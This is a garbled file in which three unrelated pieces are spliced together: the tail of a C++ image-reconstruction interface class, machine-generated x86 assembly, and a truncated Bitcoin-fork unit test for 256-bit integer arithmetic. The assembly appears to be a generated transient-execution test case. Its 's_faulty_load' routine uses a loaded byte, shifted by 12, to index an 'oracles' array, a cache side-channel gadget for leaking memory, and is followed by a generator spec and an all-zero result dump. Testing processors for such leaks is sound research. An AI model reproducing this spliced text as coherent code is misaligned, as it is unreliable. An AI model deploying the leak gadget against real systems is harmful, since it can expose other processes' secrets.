asn1SccFrame_Initialize(& inRightImage);
asn1SccPointcloud_Initialize(& inModel);
asn1SccPointcloud_Initialize(& outPointCloud);
asn1SccPose_Initialize(& outPose);
}
ReconstructionAndIdentificationInterface::~ReconstructionAndIdentificationInterface()
{
}
void ReconstructionAndIdentificationInterface::leftImageInput(const asn1SccFrame& data)
{
inLeftImage = data;
}
void ReconstructionAndIdentificationInterface::rightImageInput(const asn1SccFrame& data)
{
inRightImage = data;
}
void ReconstructionAndIdentificationInterface::modelInput(const asn1SccPointcloud& data)
{
inModel = data;
}
void ReconstructionAndIdentificationInterface::computeModelFeaturesInput(bool data)
{
inComputeModelFeatures = data;
}
const asn1SccPointcloud& ReconstructionAndIdentificationInterface::pointCloudOutput() const
{
return outPointCloud;
}
const asn1SccPose& ReconstructionAndIdentificationInterface::poseOutput() const
{
return outPose;
}
bool ReconstructionAndIdentificationInterface::successOutput() const
{
return outSuccess;
}
}
}
/** @} */
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1965b, %rdi
nop
nop
nop
nop
inc %r11
mov (%rdi), %rcx
nop
dec %rsi
lea addresses_WC_ht+0x4573, %r15
cmp %r8, %r8
mov (%r15), %r9w
nop
nop
sub $989, %r15
lea addresses_D_ht+0x1f7b, %r9
nop
nop
nop
add %rcx, %rcx
movw $0x6162, (%r9)
nop
nop
nop
cmp $40531, %rcx
lea addresses_UC_ht+0x1517b, %rdi
nop
nop
nop
nop
add $29551, %r8
movl $0x61626364, (%rdi)
nop
nop
nop
nop
xor $32939, %r11
lea addresses_WT_ht+0x18127, %rsi
lea addresses_normal_ht+0x13e9b, %rdi
nop
nop
nop
nop
nop
mfence
mov $80, %rcx
rep movsb
nop
nop
sub $10798, %rcx
lea addresses_D_ht+0x1d47b, %rdi
nop
nop
nop
nop
nop
sub $52395, %r8
movups (%rdi), %xmm4
vpextrq $0, %xmm4, %r11
nop
nop
inc %rcx
lea addresses_D_ht+0x13a7b, %r11
nop
nop
nop
nop
nop
cmp $28735, %rdi
movl $0x61626364, (%r11)
nop
nop
nop
sub %r11, %r11
lea addresses_UC_ht+0x1817b, %r8
add $51279, %rcx
movw $0x6162, (%r8)
nop
nop
nop
nop
inc %r11
lea addresses_WC_ht+0x164cd, %rsi
lea addresses_WC_ht+0x1e07b, %rdi
nop
nop
inc %r8
mov $0, %rcx
rep movsq
nop
nop
inc %r9
lea addresses_D_ht+0xc0a7, %rsi
nop
cmp %rdi, %rdi
vmovups (%rsi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r11
nop
nop
nop
nop
dec %rsi
lea addresses_A_ht+0x1037b, %rsi
nop
cmp %r15, %r15
movups (%rsi), %xmm6
vpextrq $0, %xmm6, %r8
nop
nop
nop
nop
nop
xor $21600, %rcx
lea addresses_UC_ht+0x1107b, %r9
nop
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %r8
movq %r8, %xmm6
movups %xmm6, (%r9)
xor %rcx, %rcx
lea addresses_UC_ht+0x16f49, %r14
nop
nop
sub %rsi, %rsi
movb (%r14), %r9b
nop
nop
mfence
lea addresses_normal_ht+0x1487b, %rsi
lea addresses_WT_ht+0x18c7b, %rdi
dec %r9
mov $100, %rcx
rep movsw
nop
nop
cmp %r14, %r14
lea addresses_WC_ht+0x1277b, %rcx
nop
and %r11, %r11
and $0xffffffffffffffc0, %rcx
vmovntdqa (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rdi
nop
nop
nop
nop
xor $16938, %r14
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %r9
push %rax
push %rbx
push %rdx
push %rsi
// Load
lea addresses_RW+0x17215, %rbx
nop
cmp $25147, %rax
mov (%rbx), %rsi
nop
nop
nop
add %r10, %r10
// Store
lea addresses_RW+0xfcd1, %rax
nop
nop
sub $60824, %r9
mov $0x5152535455565758, %r10
movq %r10, (%rax)
nop
nop
nop
nop
cmp $19569, %rax
// Store
lea addresses_WC+0x102ab, %r9
nop
nop
and $11658, %rdx
movb $0x51, (%r9)
nop
nop
nop
inc %rbx
// Store
lea addresses_normal+0x687b, %r8
nop
nop
and %r10, %r10
mov $0x5152535455565758, %r9
movq %r9, %xmm3
vmovups %ymm3, (%r8)
nop
nop
nop
nop
add %rax, %rax
// Faulty Load
lea addresses_WC+0x1bb7b, %rdx
nop
and %rsi, %rsi
movb (%rdx), %r10b
lea oracles, %rsi
and $0xff, %r10
shlq $12, %r10
mov (%rsi,%r10,1), %r10
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_RW', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_RW', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal', 'AVXalign': False, 'size': 32}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}}
{'src': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// Copyright (c) 2011-2015 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <boost/test/unit_test.hpp>
#include <stdint.h>
#include <sstream>
#include <iomanip>
#include <limits>
#include <cmath>
#include "uint256.h"
#include "arith_uint256.h"
#include <string>
#include "version.h"
#include "test/test_exucoin.h"
BOOST_FIXTURE_TEST_SUITE(arith_uint256_tests, BasicTestingSetup)
/// Convert vector to arith_uint256, via uint256 blob
inline arith_uint256 arith_uint256V(const std::vector<unsigned char>& vch)
{
return UintToArith256(uint256(vch));
}
const unsigned char R1Array[] =
"\x9c\x52\x4a\xdb\xcf\x56\x11\x12\x2b\x29\x12\x5e\x5d\x35\xd2\xd2"
"\x22\x81\xaa\xb5\x33\xf0\x08\x32\xd5\x56\xb1\xf9\xea\xe5\x1d\x7d";
const char R1ArrayHex[] = "7D1DE5EAF9B156D53208F033B5AA8122D2d2355d5e12292b121156cfdb4a529c";
const double R1Ldouble = 0.4887374590559308955; // R1L equals roughly R1Ldouble * 2^256
const arith_uint256 R1L = arith_uint256V(std::vector<unsigned char>(R1Array,R1Array+32));
const uint64_t R1LLow64 = 0x121156cfdb4a529cULL;
const unsigned char R2Array[] =
"\x70\x32\x1d\x7c\x47\xa5\x6b\x40\x26\x7e\x0a\xc3\xa6\x9c\xb6\xbf"
"\x13\x30\x47\xa3\x19\x2d\xda\x71\x49\x13\x72\xf0\xb4\xca\x81\xd7";
const arith_uint256 R2L = arith_uint256V(std::vector<unsigned char>(R2Array,R2Array+32));
const char R1LplusR2L[] = "549FB09FEA236A1EA3E31D4D58F1B1369288D204211CA751527CFC175767850C";
const unsigned char ZeroArray[] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
const arith_uint256 ZeroL = arith_uint256V(std::vector<unsigned char>(ZeroArray,ZeroArray+32));
const unsigned char OneArray[] =
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
const arith_uint256 OneL = arith_uint256V(std::vector<unsigned char>(OneArray,OneArray+32));
const unsigned char MaxArray[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
const arith_uint256 MaxL = arith_uint256V(std::vector<unsigned char>(MaxArray,MaxArray+32));
const arith_uint256 HalfL = (OneL << 255);
std::string ArrayToString(const unsigned char A[], unsigned int width)
{
std::stringstream Stream;
Stream << std::hex;
for (unsigned int i = 0; i < width; ++i)
{
Stream<<std::setw(2)<<std::setfill('0')<<(unsigned int)A[width-i-1];
}
return Stream.str();
}
BOOST_AUTO_TEST_CASE( basics ) // constructors, equality, inequality
{
BOOST_CHECK(1 == 0+1);
// constructor arith_uint256(vector<char>):
BOOST_CHECK(R1L.ToString() == ArrayToString(R1Array,32));
BOOST_CHECK(R2L.ToString() == ArrayToString(R2Array,32));
BOOST_CHECK(ZeroL.ToString() == ArrayToString(ZeroArray,32));
BOOST_CHECK(OneL.ToString() == ArrayToString(OneArray,32));
BOOST_CHECK(MaxL.ToString() == ArrayToString(MaxArray,32));
BOOST_CHECK(OneL.ToString() != ArrayToString(ZeroArray,32));
// == and !=
BOOST_CHECK(R1L != R2L);
BOOST_CHECK(ZeroL != OneL);
BOOST_CHECK(OneL != ZeroL);
BOOST_CHECK(MaxL != ZeroL);
BOOST_CHECK(~MaxL == ZeroL);
BOOST_CHECK( ((R1L ^ R2L) ^ R1L) == R2L);
uint64_t Tmp64 = 0xc4dab720d9c7acaaULL;
for (unsigned int i = 0; i < 256; ++i)
{
BOOST_CHECK(ZeroL != (OneL << i));
BOOST_CHECK((OneL << i) != ZeroL);
BOOST_CHECK(R1L != (R1L ^ (OneL << i)));
BOOST_CHECK(((arith_uint256(Tmp64) ^ (OneL << i) ) != Tmp64 ));
}
BOOST_CHECK(ZeroL == (OneL << 256));
// String Constructor and Copy Constructor
BOOST_CHECK(arith_uint256("0x"+R1L.ToString()) == R1L);
BOOST_CHECK(arith_uint256("0x"+R2L.ToString()) == R2L);
BOOST_CHECK(arith_uint256("0x"+ZeroL.ToString()) == ZeroL);
BOOST_CHECK(arith_uint256("0x"+OneL.ToString()) == OneL);
BOOST_CHECK(arith_uint256("0x"+MaxL.ToString()) == MaxL);
BOOST_CHECK(arith_uint256(R1L.ToString()) == R1L);
BOOST_CHECK(arith_uint256(" 0x"+R1L.ToString()+" ") == R1L);
BOOST_CHECK(arith_uint256("") == ZeroL);
BOOST_CHECK(R1L == arith_uint256(R1ArrayHex));
BOOST_CHECK(arith_uint256(R1L) == R1L);
BOOST_CHECK((arith_uint256(R1L^R2L)^R2L) == R1L);
BOOST_CHECK(arith_uint256(ZeroL) == ZeroL);
BOOST_CHECK(arith_uint256(OneL) == OneL);
// uint64_t constructor
BOOST_CHECK( (R1L & arith_uint256("0xffffffffffffffff")) == arith_uint256(R1LLow64));
BOOST_CHECK(ZeroL == arith_uint256(0));
BOOST_CHECK(OneL == arith_uint256(1));
BOOST_CHECK(arith_uint256("0xffffffffffffffff") == arith_uint256(0xffffffffffffffffULL));
// Assignment (from base_uint)
arith_uint256 tmpL = ~ZeroL; BOOST_CHECK(tmpL == ~ZeroL);
tmpL = ~OneL; BOOST_CHECK(tmpL == ~OneL);
tmpL = ~R1L; BOOST_CHECK(tmpL == ~R1L);
tmpL = ~R2L; BOOST_CHECK(tmpL == ~R2L);
tmpL = ~MaxL; BOOST_CHECK(tmpL == ~MaxL);
}
void shiftArrayRight(unsigned char* to, const unsigned char* from, unsigned int arrayLength, unsigned int bitsToShift)
{
for (unsigned int T=0; T < arrayLength; ++T)
{
unsigned int F = (T+bitsToShift/8);
if (F < arrayLength)
to[T] = from[F] >> (bitsToShift%8);
else
to[T] = 0;
if (F + 1 < arrayLength)
to[T] |= from[(F+1)] << (8-bitsToShift%8);
}
}
void shiftArrayLeft(unsigned char* to, const unsigned char* from, unsigned int arrayLength, unsigned int bitsToShift)
{
for (unsigned int T=0; T < arrayLength; ++T)
{
if (T >= bitsToShift/8)
{
unsigned int F = T-bitsToShift/8;
to[T] = from[F] << (bitsToShift%8);
if (T >= bitsToShift/8+1)
to[T] |= from[F-1] >> (8-bitsToShift%8);
}
else {
to[T] = 0;
}
}
}
BOOST_AUTO_TEST_CASE( shifts ) { // "<<" ">>" "<<=" ">>="
unsigned char TmpArray[32];
arith_uint256 TmpL;
for (unsigned int i = 0; i < 256; ++i)
{
shiftArrayLeft(TmpArray, OneArray, 32, i);
BOOST_CHECK(arith_uint256V(std::vector<unsigned char>(TmpArray,TmpArray+32)) == (OneL << i));
TmpL = OneL; TmpL <<= i;
BOOST_CHECK(TmpL == (OneL << i));
BOOST_CHECK((HalfL >> (255-i)) == (OneL << i));
TmpL = HalfL; TmpL >>= (255-i);
BOOST_CHECK(TmpL == (OneL << i));
shiftArrayLeft(TmpArray, R1Array, 32, i);
BOOST_CHECK(arith_uint256V(std::vector<unsigned char>(TmpArray,TmpArray+32)) == (R1L << i));
TmpL = R1L; TmpL <<= i;
BOOST_CHECK(TmpL == (R1L << i));
shiftArrayRight(TmpArray, R1Array, 32, i);
BOOST_CHECK(arith_uint256V(std::vector<unsigned char>(TmpArray,TmpArray+32)) == (R1L >> i));
TmpL = R1L; TmpL >>= i;
BOOST_CHECK(TmpL == (R1L >> i));
shiftArrayLeft(TmpArray, MaxArray, 32, i);
BOOST_CHECK(arith_uint256V(std::vector<unsigned char>(TmpArray,TmpArray+32)) == (MaxL << i));
TmpL = MaxL; TmpL <<= i;
BOOST_CHECK(TmpL == (MaxL << i));
shiftArrayRight(TmpArray, MaxArray, 32, i);
BOOST_CHECK(arith_uint256V(std::vector<unsigned char>(TmpArray,TmpArray+32)) == (MaxL >> i));
TmpL = MaxL; TmpL >>= i;
BOOST_CHECK(TmpL == (MaxL >> i));
}
arith_uint256 c1L = arith_uint256(0x0123456789abcdefULL);
arith_uint256 c2L = c1L << 128;
for (unsigned int i = 0; i < 128; ++i) {
BOOST_CHECK((c1L << i) == (c2L >> (128-i)));
}
for (unsigned int i = 128; i < 256; ++i) {
BOOST_CHECK((c1L << i) == (c2L << (i-128)));
}
}
BOOST_AUTO_TEST_CASE( unaryOperators ) // ! ~ -
{
BOOST_CHECK(!ZeroL);
BOOST_CHECK(!(!OneL));
for (unsigned int i = 0; i < 256; ++i)
BOOST_CHECK(!(!(OneL<<i)));
BOOST_CHECK(!(!R1L));
BOOST_CHECK(!(!MaxL));
BOOST_CHECK(~ZeroL == MaxL);
unsigned char TmpArray[32];
for (unsigned int i = 0; i < 32; ++i) { TmpArray[i] = ~R1Array[i]; }
BOOST_CHECK(arith_uint256V(std::vector<unsigned char>(TmpArray,TmpArray+32)) == (~R1L));
BOOST_CHECK(-ZeroL == ZeroL);
BOOST_CHECK(-R1L == (~R1L)+1);
for (unsigned int i = 0; i < 256; ++i)
BOOST_CHECK(-(OneL<<i) == (MaxL << i));
}
// Check if doing _A_ _OP_ _B_ results in the same as applying _OP_ onto each
// element of Aarray and Barray, and then converting the result into a arith_uint256.
#define CHECKBITWISEOPERATOR(_A_,_B_,_OP_) \
for (unsigned int i = 0; i < 32; ++i) { TmpArray[i] = _A_##Array[i] _OP_ _B_##Array[i]; } \
BOOST_CHECK(arith_uint256V(std::vector<unsigned char>(TmpArray,TmpArray+32)) == (_A_##L _OP_ _B_##L));
#define CHECKASSIGNMENTOPERATOR(_A_,_B_,_OP_) \
TmpL = _A_##L; TmpL _OP_##= _B_##L; BOOST_CHECK(TmpL == (_A_##L _OP_ _B_##L));
BOOST_AUTO_TEST_CASE( bitwiseOperators )
{
unsigned char TmpArray[32];
CHECKBITWISEOPERATOR(R1,R2,|)
CHECKBITWISEOPERATOR(R1,R2,^)
CHECKBITWISEOPERATOR(R1,R2,&)
CHECKBITWISEOPERATOR(R1,Zero,|)
CHECKBITWISEOPERATOR(R1,Zero,^)
CHECKBITWISEOPERATOR(R1,Zero,&)
CHECKBITWISEOPERATOR(R1,Max,|)
CHECKBITWISEOPERATOR(R1,Max,^)
CHECKBITWISEOPERATOR(R1,Max,&)
CHECKBITWISEOPERATOR(Zero,R1,|)
CHECKBITWISEOPERATOR(Zero,R1,^)
CHECKBITWISEOPERATOR(Zero,R1,&)
CHECKBITWISEOPERATOR(Max,R1,|)
CHECKBITWISEOPERATOR(Max,R1,^)
CHECKBITWISEOPERATOR(Max,R1,&)
arith_uint256 TmpL;
CHECKASSIGNMENTOPERATOR(R1,R2,|)
CHECKASSIGNMENTOPERATOR(R1,R2,^)
CHECKASSIGNMENTOPERATOR(R1,R2,&)
CHECKASSIGNMENTOPERATOR(R1,Zero,|)
CHECKASSIGNMENTOPERATOR(R1,Zero,^)
CHECKASSIGNMENTOPERATOR(R1,Zero,&)
CHECKASSIGNMENTOPERATOR(R1,Max,|)
CHECKASSIGNMENTOPERATOR(R1,Max,^)
CHECKASSIGNMENTOPERATOR(R1,Max,&)
CHECKASSIGNMENTOPERATOR(Zero,R1,|)
CHECKASSIGNMENTOPERATOR(Zero,R1,^)
CHECKASSIGNMENTOPERATOR(Zero,R1,&)
CHECKASSIGNMENTOPERATOR(Max,R1,|)
CHECKASSIGNMENTOPERATOR(Max,R1,^)
CHECKASSIGNMENTOPERATOR(Max,R1,&)
uint64_t Tmp64 = 0xe1db685c9a0b47a2ULL;
TmpL = R1L; TmpL |= Tmp64; BOOST_CHECK(TmpL == (R1L | arith_uint256(Tmp64)));
TmpL = R1L; TmpL |= 0; BOOST_CHECK(TmpL == R1L);
TmpL ^= 0; BOOST_CHECK(TmpL == R1L);
TmpL ^= Tmp64; BOOST_CHECK(TmpL == (R1L ^ arith_uint256(Tmp64)));
}
BOOST_AUTO_TEST_CASE( comparison ) // <= >= < >
{
arith_uint256 TmpL;
for (unsigned int i = 0; i < 256; ++i) {
TmpL= OneL<< i;
BOOST_CHECK( TmpL >= ZeroL && TmpL > ZeroL && ZeroL < TmpL && ZeroL <= TmpL);
BOOST_CHECK( TmpL >= 0 && TmpL > 0 && 0 < TmpL && 0 <= TmpL);
TmpL |= R1L;
BOOST_CHECK( TmpL >= R1L ); BOOST_CHECK( (TmpL == R1L) != (TmpL > R1L)); BOOST_CHECK( (TmpL == R1L) || !( TmpL <= R1L));
BOOST_CHECK( R1L <= TmpL ); BOOST_CHECK( (R1L == TmpL) != (R1L < TmpL)); BOOST_CHECK( (TmpL == R1L) || !( R1L >= TmpL));
BOOST_CHECK(! (TmpL < R1L)); BOOST_CHECK(! (R1L > TmpL));
}
}
BOOST_AUTO_TEST_CASE( plusMinus )
{
arith_uint256 TmpL = 0;
BOOST_CHECK(R1L+R2L == arith_uint256(R1LplusR2L));
TmpL += R1L;
BOOST_CHECK(TmpL == R1L);
TmpL += R2L;
BOOST_CHECK(TmpL == R1L + R2L);
BOOST_CHECK(OneL+MaxL == ZeroL);
BOOST_CHECK(MaxL+OneL == ZeroL);
for (unsigned int i = 1; i < 256; ++i) {
BOOST_CHECK( (MaxL >> i) + OneL == (HalfL >> (i-1)) );
BOOST_CHECK( OneL + (MaxL >> i) == (HalfL >> (i-1)) );
TmpL = (MaxL>>i); TmpL += OneL;
BOOST_CHECK( TmpL == (HalfL >> (i-1)) );
TmpL = (MaxL>>i); TmpL += 1;
BOOST_CHECK( TmpL == (HalfL >> (i-1)) );
TmpL = (MaxL>>i);
BOOST_CHECK( TmpL++ == (MaxL>>i) );
BOOST_CHECK( TmpL == (HalfL >> (i-1)));
}
BOOST_CHECK(arith_uint256(0xbedc77e27940a7ULL) + 0xee8d836fce66fbULL == arith_uint256(0xbedc77e27940a7ULL + 0xee8d836fce66fbULL));
TmpL = arith_uint256(0xbedc77e27940a7ULL); TmpL += 0xee8d836fce66fbULL;
BOOST_CHECK(TmpL == arith_uint256(0xbedc77e27940a7ULL+0xee8d836fce66fbULL));
TmpL -= 0xee8d836fce66fbULL; BOOST_CHECK(TmpL == 0xbedc77e27940a7ULL);
TmpL = R1L;
BOOST_CHECK(++TmpL == R1L+1);
BOOST_CHECK(R1L -(-R2L) == R1L+R2L);
BOOST_CHECK(R1L -(-OneL) == R1L+OneL);
BOOST_CHECK(R1L - OneL == R1L+(-OneL));
for (unsigned int i = 1; i < 256; ++i) {
BOOST_CHECK((MaxL>>i) - (-OneL) == (HalfL >> (i-1)));
BOOST_CHECK((HalfL >> (i-1)) - OneL == (MaxL>>i));
TmpL = (HalfL >> (i-1));
BOOST_CHECK(TmpL-- == (HalfL >> (i-1)));
BOOST_CHECK(TmpL == (MaxL >> i));
TmpL = (HalfL >> (i-1));
BOOST_CHECK(--TmpL == (MaxL >> i));
}
TmpL = R1L;
BOOST_CHECK(--TmpL == R1L-1);
}
BOOST_AUTO_TEST_CASE( multiply )
{
BOOST_CHECK((R1L * R1L).ToString() == "62a38c0486f01e45879d7910a7761bf30d5237e9873f9bff3642a732c4d84f10");
BOOST_CHECK((R1L * R2L).ToString() == "de37805e9986996cfba76ff6ba51c008df851987d9dd323f0e5de07760529c40");
BOOST_CHECK((R1L * ZeroL) == ZeroL);
BOOST_CHECK((R1L * OneL) == R1L);
BOOST_CHECK((R1L * MaxL) == -R1L);
BOOST_CHECK((R2L * R1L) == (R1L * R2L));
BOOST_CHECK((R2L * R2L).ToString() == "ac8c010096767d3cae5005dec28bb2b45a1d85ab7996ccd3e102a650f74ff100");
BOOST_CHECK((R2L * ZeroL) == ZeroL);
BOOST_CHECK((R2L * OneL) == R2L);
BOOST_CHECK((R2L * MaxL) == -R2L);
BOOST_CHECK(MaxL * MaxL == OneL);
BOOST_CHECK((R1L * 0) == 0);
BOOST_CHECK((R1L * 1) == R1L);
BOOST_CHECK((R1L * 3).ToString() == "7759b1c0ed14047f961ad09b20ff83687876a0181a367b813634046f91def7d4");
BOOST_CHECK((R2L * 0x87654321UL).ToString() == "23f7816e30c4ae2017257b7a0fa64d60402f5234d46e746b61c960d09a26d070");
}
BOOST_AUTO_TEST_CASE( divide )
{
arith_uint256 D1L("AD7133AC1977FA2B7");
arith_uint256 D2L("ECD751716");
BOOST_CHECK((R1L / D1L).ToString() == "00000000000000000b8ac01106981635d9ed112290f8895545a7654dde28fb3a");
BOOST_CHECK((R1L / D2L).ToString() == "000000000873ce8efec5b67150bad3aa8c5fcb70e947586153bf2cec7c37c57a");
BOOST_CHECK(R1L / OneL == R1L);
BOOST_CHECK(R1L / MaxL == ZeroL);
BOOST_CHECK(MaxL / R1L == 2);
BOOST_CHECK_THROW(R1L / ZeroL, uint_error);
BOOST_CHECK((R2L / D1L).ToString() == "000000000000000013e1665895a1cc981de6d93670105a6b3ec3b73141b3a3c5");
BOOST_CHECK((R2L / D2L).ToString() == "000000000e8f0abe753bb0afe2e9437ee85d280be60882cf0bd1aaf7fa3cc2c4");
BOOST_CHECK(R2L / OneL == R2L);
BOOST_CHECK(R2L / MaxL == ZeroL);
BOOST_CHECK(MaxL / R2L == 1);
BOOST_CHECK_THROW(R2L / ZeroL, uint_error);
}
bool almostEqual(double d1, double d2)
{
return fabs(d1-d2) <= 4*fabs(d1)*std::numeric_limits<double>::epsilon();
}
BOOST_AUTO_TEST_CASE( methods ) // GetHex SetHex size() GetLow64 GetSerializeSize, Serialize, Unserialize
{
BOOST_CHECK(R1L.GetHex() == R1L.ToString());
BOOST_CHECK(R2L.GetHex() == R2L.ToString());
BOOST_CHECK(OneL.GetHex() == OneL.ToString());
